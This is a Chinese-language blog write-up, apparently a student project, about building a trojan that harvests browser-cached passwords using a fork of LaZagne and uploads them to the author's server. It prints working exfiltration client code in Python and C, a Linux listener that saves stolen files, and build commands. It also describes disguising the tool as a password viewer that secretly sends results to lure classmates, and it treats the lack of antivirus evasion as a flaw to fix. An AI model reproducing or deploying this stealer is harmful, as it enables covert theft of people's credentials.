# 窃取缓存密码
> 在浏览器中缓存的密码存在一定的泄露风险,为此我写了个木马进行验证
## 1.概述
我选择了*安全隐蔽通信方向*和*安全工具软件实践方向*,结合了一点点社会工程学攻击的理念。
实现了用户运行恶意程序-->提取电脑内所有缓存密码-->上传至攻击方服务器的完整过程。
目前已得到了上千条有效密码(已与被攻击者说明并取得同意,并删除所有相关被提取密码文件)
## 2.成果展示
### 2.1 exe入口
![image-20220521224134776](http://cdn.lcx-blog.top/img/image-20220521224134776.png)
### 2.2 在被攻击方电脑上运行
![tempsnip](http://cdn.lcx-blog.top/img/tempsnip.png)
### 2.3 服务器监听
![snip](http://cdn.lcx-blog.top/img/snip.png)
![ggg](http://cdn.lcx-blog.top/img/ggg.png)
![wwww](http://cdn.lcx-blog.top/img/wwww.png)
## 3.实现过程
### 3.1密码提取模块
fork lagazne开源项目,在源码内嵌入socket通信功能,采用pyinstaller打包为exe文件,同时将windows动态链接库静态链接其中,实现独立运行。
```python
#!coding=utf-8
import socket
import os
import sys
#import struct
def socket_client(filepath):
print("hhhh")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('*******************', 6666))
except socket.error as msg:
print (msg)
sys.exit(1)
print("wwwww")
# 判断是否为文件
if os.path.isfile(filepath):
fp = open(filepath, 'rb')
while 1:
data = fp.read(1024)
if not data:
print ('{0} file send over...'.format(os.path.basename(filepath)))
break
s.send(data)
# 关闭当期的套接字对象
s.close()
if __name__ == '__main__':
print("11111\n")
socket_client("D:\\testpassword.txt")
print("222222\n")
```
![image-20220521232558333](http://cdn.lcx-blog.top/img/image-20220521232558333.png)
运行此模块会遍历电脑中的浏览器,依据不同浏览器不同版本查找对应的缓存文件,根据先验知识执行各自的解密函数,并将提取到的明文密码缓存至同目录下。
### 3.2上传密码文件模块
使用socket进行tcp通信,上传至公网ip服务器
```c
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib") //加载 ws2_32.dll
#define BUF_SIZE 1024
int main(int argc, char **argv)
{
if (argc != 4)
{
printf("usage:postfile <filePath> <ip_address> <port>\n", argc);
}
// printf("%d\n", argc);
// char filename[] = "D:\\testpassword.txt";
char *filename = argv[1];
char *ip_address = argv[2];
char *temp_port = argv[3];
int port = atoi(temp_port);
// printf("argv[1] %s\n", argv[1]);
// printf("filename %s\n", filename);
// printf("ip_address %s\n", ip_address);
// printf("ports %d\n", port);
FILE *fp = fopen(filename, "rb"); //以二进制方式打开文件
if (fp == NULL)
{
printf("Cannot open file, press any key to exit!\n");
system("pause");
exit(0);
}
//初始化DLL
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
//向服务器发起请求
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr)); //每个字节都用0填充
sockAddr.sin_family = PF_INET;
sockAddr.sin_addr.s_addr = inet_addr(ip_address);
sockAddr.sin_port = htons(port);
bind(sock, (SOCKADDR *)&sockAddr, sizeof(SOCKADDR));
char bufSend[BUF_SIZE] = {0};
int nCount;
connect(sock, (SOCKADDR *)&sockAddr, sizeof(SOCKADDR));
while ((nCount = fread(bufSend, 1, BUF_SIZE, fp)) > 0)
{
//创建套接字
send(sock, bufSend, nCount, 0);
}
shutdown(sock, SD_SEND);
closesocket(sock); //关闭套接字
fclose(fp);
WSACleanup(); //终止使用 DLL
return 0;
}
```
### 3.3 服务器监听模块
在Linux平台上编写端口常驻监听程序
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#define MAXLINE 1024
int main(int argc, char **argv)
{
time_t rawtime;
struct tm *info;
char timebuffer[80];
int filecount = 1;
int listenfd, connfd;
char buff[MAXLINE];
FILE *fp;
int n;
//创建套接字
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("create socket error: %s(errno: %d)\n", strerror(errno), errno);
return 0;
}
printf("----init socket----\n");
//绑定套接字
struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // INADDR_ANY本机网址 包括172.0.0.1
servaddr.sin_port = htons(6666);
//绑定套接字
int contain;
setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &contain, sizeof(int));
if (bind(listenfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
{
printf("bind socket error: %s(errno: %d)\n", strerror(errno), errno);
return 0;
}
printf("----bind sucess----\n");
//进入监听状态
if (listen(listenfd, 10) == -1)
{
printf("listen socket error: %s(errno: %d)\n", strerror(errno), errno);
return 0;
}
//接收客户端请求
printf("======waiting for client's request======\n");
while (1)
{
printf("======waiting for next request======\n");
struct sockaddr_in client_addr;
socklen_t size = sizeof(client_addr);
if ((connfd = accept(listenfd, (struct sockaddr *)&client_addr, &size)) == -1)
{
printf("accept socket error: %s(errno: %d)", strerror(errno), errno);
continue;
}
time(&rawtime);
info = localtime(&rawtime);
strftime(timebuffer, 80, "%Y-%m-%d %H:%M:%S", info);
printf("格式化的日期 & 时间 : |%s|\n", timebuffer);
if ((fp = fopen(timebuffer, "ab")) == NULL)
{
printf("Fail.\n");
close(listenfd);
close(connfd);
exit(1);
}
while (1)
{
n = read(connfd, buff, MAXLINE);
if (n == 0)
break;
// printf("get:%s \n", buff);
printf("get1\n");
fwrite(buff, 1, n, fp);
}
// buff[n] = '\0';
// printf("recv msg from client: %s\n", buff);
close(connfd);
memset(buff, 0, MAXLINE);
fclose(fp);
printf("get_one_file\n");
filecount++;
}
close(listenfd);
return 0;
}
```
## 4.其它细节
### 4.1 鲁棒性
为了能在windows平台正常运行,采用静态链接
```
g++.exe -static -static-libgcc -static-libstdc++ -o "mainfinal.exe" main.o
```
### 4.2 美化
做了个ico,出于好玩
![image-20220522000046109](http://cdn.lcx-blog.top/img/image-20220522000046109.png)
在.ico同目录下新建.txt,写入
```
IDI_ICON1 ICON DISCARDABLE "1.ico"
```
保存为.rc,在控制台输入命令
```
windres -i cat.rc -o cat.o
```
```
g++.exe -Wall -c -g main.cpp cat.o -o main.o
```
```
g++.exe -static -static-libgcc -static-libstdc++ -o "mainfinal.exe" main.o cat.o
```
### 4.3 社工
我并没有制作钓鱼文件,所以这个exe太明显了,有点安全意识的人都不会点,而且三个exe存在依赖关系,得在同一目录下,不是很好用。
因此在第二个版本中我将发送模块改为python嵌入lagazne中,再作为exe发布。表面上这是一个可以查看本机缓存密码的命令行工具,有着完整的交互命令,吸引了一些好奇的同学尝试,但是在联网状态下每次执行命令都会尝试将结果发送出去。
## 5.不足分析
本次实验尚存许多不足:
- 运行时间太长,全扫描需要大概40S
- 文件体积大,达9MB
- 没有做免杀操作,会被McAfee报毒
- 上传的公网ip为本人实名注册,容易被追查
- 监听程序没有验证操作,对于端口数据一律接受,会被反击者利用
# 感想
1. 本人为浏览器缓存密码重度依赖者,在本机上实验,一次被提取了几百条密码。而有的同学很少缓存密码,就搞不到几条。所以说,最好的保存方式仍然是大脑。
2. 在十几年前,类似程序通过u盘的.inf文件植入,现今通过网络文件植入,我们要养成良好安全意识,别乱点陌生链接。
3. 针对密码窃取,现在基本都设置了异地登陆保护。但是攻击者可以通过类似方式窃取浏览器的cookie来绕过验证,所以说只有相对安全,并不存在绝对安全。
窃取缓存密码